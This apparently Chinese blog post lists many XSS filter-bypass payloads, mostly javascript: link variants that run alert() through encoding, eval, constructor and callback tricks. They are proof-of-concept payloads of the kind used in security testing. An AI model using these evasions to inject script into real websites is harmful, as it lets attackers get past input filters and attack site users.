XSS多姿势执行alert

  • Post author:
  • Post category:其他


以下归纳了多种执行alert函数的方式(前提是获得js执行上下文) ,可用于xss filter bypass

1、常规alert
<a href="javascript:alert()">XSS Test</a>

2、字符串操作
Unicode字符以"\u"开头,例如\u00A9。Unicode码位用"\u{}"表示,例如\u{2F804}
十六进制以"\x"开头,例如\xA9;八进制以"\"和数字开头,例如\251
<a href="javascript:al\u{65}rt()">XSS Test</a>
<a href="javascript:al\u0065rt()">XSS Test</a>
正则表达式返回字符串
<a href="javascript:window[/alert/.source]()">XSS Test</a>
<a href="javascript:''.replace(/.*/,alert)">XSS Test</a>
整数toString(radix)转字符串, 第一个点表示浮点数,第二个点调用函数
<a href="javascript:top[8680439..toString(30)]()">XSS Test</a>

3、window/top对象 属性调用
<a href="javascript:window['alert']()">XSS Test</a>
<a href="javascript:window[/alert/.source]()">XSS Test</a>
<a href="javascript:top[8680439..toString(30)]()">XSS Test</a>

4、函数多样调用
<a href="javascript:alert.call(null,'param')">XSS Test</a>
<a href="javascript:alert.apply(null,['param'])">XSS Test</a>
<a href="javascript:alert.bind()('param')">XSS Test</a>
参考 https://www.cnblogs.com/coco1s/p/4833199.html
<a href="javascript:Reflect.apply(alert,null,['param'])">XSS Test</a>
<a href="javascript:setTimeout`alert\x28\x29`">XSS Test</a>
<a href="javascript:eval(atob())">XSS Test</a>
<a href="javascript:eval(String.fromCharCode(97,108,))">XSS Test</a>
(function(){alert()})()
!function(){alert()}()
+function(){alert()}()
-function(){alert()}()
~function(){alert()}()
<a href="javascript:(alert)()">XSS Test</a>
模板字符串:反引号``
<a href="javascript:`${alert()}`">XSS Test</a>

5、利用数组等的功能函数
<a href="javascript:[''].find(alert)">XSS Test</a>
<a href="javascript:[''].findIndex(alert)">XSS Test</a>
<a href="javascript:[''].filter(alert)">XSS Test</a>
<a href="javascript:[''].forEach(alert)">XSS Test</a>
<a href="javascript:(new Map()).set(1,'').forEach(alert)">XSS Test</a>
<a href="javascript:(new Set([''])).forEach(alert)">XSS Test</a>

6、新建函数
<a href="javascript:(new Function('alert()'))()">XSS Test</a>
<a href="javascript:Set.constructor`alert\x28\x29```">XSS Test</a>
<a href="javascript:(new (Object.getPrototypeOf(async function(){}).constructor)('alert()'))()">XSS Test</a>

参考来源不详



版权声明:本文为haoren_xhf原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。